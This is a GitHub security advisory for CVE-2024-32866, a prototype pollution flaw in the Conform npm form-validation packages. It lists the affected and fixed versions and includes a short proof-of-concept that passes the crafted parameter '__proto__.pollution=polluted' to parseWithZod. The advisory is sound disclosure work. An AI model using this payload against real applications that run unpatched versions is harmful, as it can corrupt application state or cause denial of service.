GitHub Advisoryadvisory · npm

GHSA-624g-8qjg-8qxf Conform contains a Prototype Pollution Vulnerability in `parseWith...` function

HIGH Published 2024-04-23 Modified 2024-06-10 Official page ↗
Aliases
CVE-2024-32866
Ecosystem
npm
Packages
@conform-to/dom, @conform-to/zod, @conform-to/yup
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
Weaknesses
CWE-1321
Reviewed
2024-04-23

Affected packages

• npm @conform-to/dom: >= 1.0.0, < 1.1.1 → fixed in 1.1.1 • npm @conform-to/zod: >= 1.0.0, < 1.1.1 → fixed in 1.1.1 • npm @conform-to/yup: >= 1.0.0, < 1.1.1 → fixed in 1.1.1 • npm @conform-to/zod: < 0.9.2 → fixed in 0.9.2 • npm @conform-to/yup: < 0.9.2 → fixed in 0.9.2 • npm @conform-to/dom: < 0.9.2 → fixed in 0.9.2

Description

Summary Conform allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to `parseWith...` functions. PoC ```javascript const { parseWithZod } = require('@conform-to/zod'); const { z } = require("zod"); const param = new URLSearchParams("__proto__.pollution=polluted"); const schema = z.object({ "a": z.string() }); parseWithZod(param, { schema }); console.log("pollution:", ({}).pollution); // should print "polluted" ``` Details The invocation of the `parseWithZod` function in the above PoC triggers the `setValue` function through `getSubmissionContext` and `parse`, executing the following process, resulting in prototype pollution: ```javascript let pointer = value; pointer.__proto__ = pointer.__proto__; pointer = pointer.__proto__; pointer.polluted = "polluted"; ``` This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of `pointer[key]` without proper validation. Impact Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.

Related

Alias · CVE (1)

  • CVE-2024-32866 Conform, a type-safe form validation library, allows the parsing of nested objects in the form of `object.property`. vulnerability

Weakness · CWE (1)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness

References